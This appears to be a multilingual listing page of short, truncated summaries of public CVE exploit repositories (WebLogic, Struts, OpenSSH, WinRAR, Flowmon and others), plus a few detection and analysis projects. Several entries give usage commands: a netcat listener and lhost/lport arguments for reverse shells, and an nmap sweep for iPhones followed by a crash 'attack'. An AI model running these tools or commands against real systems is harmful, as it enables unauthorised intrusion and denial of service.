CUPS-Exploit

CUPS-Exploit Ejemplo de desbordamiento de búfer basado en heap basado en CVE-2023-4504 Colaboración de Derek Johnson y Shobhit Mehrotra Proyecto Final CS367 Primavera 2025 ¡Puedes ver nuestro informe aquí!...

cve-2016-0095-x64

cve-2016-0095-x64 windows 7 Ultimate Ultimate x64 poc of cve-2016-0095MS16-034 A newbie starts learning cve, referencing: https://whereisk0shl.top/ssctfpwn450windowskernelexploitationwriteup.html and the code from expert k0shl at https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup. Modified ...

CVE-2021-3345

CVE-2021-3345 Exploit funcional real para CVE-2021-3345...

CVE-2017-1000250-PoC

CVE-2017-1000250-PoC Proof of concept exploit script for CVE-2017-1000250. Written while researching for the essay in TTM4137...

sentryexploit

MobileIron Sentry CVE-2023-38035 information extraction Features Extract company name and contact email Proof of vulnerability Usage root@kitploit: ./sentryexploit 192.168.0.10:8443 2023/08/24 21:29:55 Information extracted, appliance is vulnerable: 2023/08/24 21:29:55 Company: XXXX Ltd., contact...

CVE-2020-14882

CVE-2020-14882 This Python script is designed to exploit a Remote Code Execution vulnerability in Oracle WebLogic Server CVE-2020-14882 to execute commands on a vulnerable target server and capture their output through HTTP requests. It first prompts for a target WebLogic URL and network interfac...

cve-2017-9805.py

CVE-2017-9805.py 1. 针对 Apache Struts CVE-2017-9805 的改进版利用代码 2. 应该基本无错 为什么要重写？ 发现大部分在线利用代码只是简单地使用字符串拼接来插入用户提供的命令，并插入到XML字符串中。这不太可靠，因为XML要求某些特殊字符使用编码。因此，由于那些脚本没有考虑到这一点，会导致错误。此外，正确编码的XML也可能在获取正确命令执行时导致错误。本脚本解决了这些问题。 有何不同？ 1. 添加了正确的参数解析 2. 正则表达式检查参数格式是否正确。 3. 将XML作为对象而非仅仅是字符串处理 4...

CVE-2018-6961

CVE-2018-6961 - 未授权命令注入漏洞 此漏洞利用程序基于 Python2.7 环境，未在其他版本中测试。 1 安装依赖 root@kitploit: pip install request 如果没有安装 pip，直接运行以下命令： root@kitploit: apt-get install python-pip 2 使用方法 root@kitploit: python exployt.py --rhost --interface --lhost --lport --function root@kitploit: python exploit.py --rhost...

cve-2018-9207

CVE-2018-9207 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2018-9207 Image author: https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9207...

CVE-2018-4407

CVE-2018-4407 IOS/macOS kernel crash Usage: python CVE20184407.py IP/CIDR python CVE-20184407.py 192.168.1.1 python CVE20184407.py 192.168.1.0/24 1. find iphone nmap -sS -p 62078 --open 192.168.1.0/24 2. attack python CVE20184407.py iphoneip...

web_exploit_detector

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application and NPM module used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the...

web_exploit_detector

Web Exploit Detector 简介 Web Exploit Detector 是一个 Node.js 应用程序（和 NPM 模块），用于检测 Web 托管环境中的可能感染、恶意代码和可疑文件。此应用程序旨在运行在托管一个或多个网站的 Web 服务器上。运行该应用程序将生成可能被感染的文件列表，以及感染描述和相关在线资源的引用。 从 1.1.0 版本开始，该应用程序还包含用于生成和比较目录结构快照的实用程序，允许用户查看是否有文件被修改、添加或删除。 该应用程序托管在 GitHub 上，以便其他人可以从中受益，同时也允许其他人贡献自己的检测规则。 链接...

CVE-2022-22965

CVE-2022-22965 CVE-2022-22965 EXP\n 一般环境需求： 1.是否使用Spring框架，若未使用，则不存在该漏洞 2.是否使⽤Spring参数绑定，若未使用，则不存在该漏洞 3.中间件使用的JDK版本，若版本号小于9，则不存在该漏洞 4.当前使用的中间件是否为Tomcat，若未使用Tomcat，则暂不受该漏洞影响。 5.Tomcat是否启用了AccessLog，若未启用，则暂不受该漏洞影响 在server.xml配置文件中，通过org.apache.catalina.valves.AccessLogValve关键字可定位到AccessLog相关配置。...

cve-2023-38831

CVE-2023-38831 Vulnerable: WinRAR = 6.22 https://www.win-rar.com/ Usage: root@kitploit: python3 cve-2023-38831.py filename payloadname archivename Refs: https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/ https://xakep.ru/2023/08/24/winrar-0day/ Telegram: https://t.me/ptsoft...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit Exploit for CVE-2020-15778OpenSSH vul Example: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 You need to use netcat to listen port before use python script Example: nc -lvp 1234 1.Screenshot of using script 2.Screenshot of get shell 2021-7-21...

pythem

pythem - Penetration Testing Framework pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law. I am not liable for any undue and unlawful act...

CVE-2023-2033-Analysis

CVE-2023-2033-Analysis The full bug report has been published: https://bugs.chromium.org/p/chromium/issues/detail?id=1432210 Using this repository to organize information on CVE-2023-2033. If you found this resource helpful or have any job opportunities in security for me, please reach out!...

CVE-2019-0859-1day-Exploit

CVE-2019-0859-1day-Exploit CVE-2019-0859 1day Exploit Target OS : Windows 7 x64 ServicePack1 7601 This exploit need to enviroment that is updated with 2019 March security update. Previous update didn't check currently. exploit relible isn't 100%. Sometime exploit didn't work perfecty. Then you tr...

46635.py_CVE-2019-9053

46635.pyCVE-2019-9053 Este es el código modificado del exploit 46635 de python2 a python3. El archivo run contiene el código modificado 46635. . . Descarga el archivo run y úsalo...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Description This repository contains a Python script to exploit a vulnerability in Flowmon that allows for gaining a reverse shell on the target system. The exploit leverages a flaw in the service.pdfs/confluence endpoint to execute arbitrary commands on the...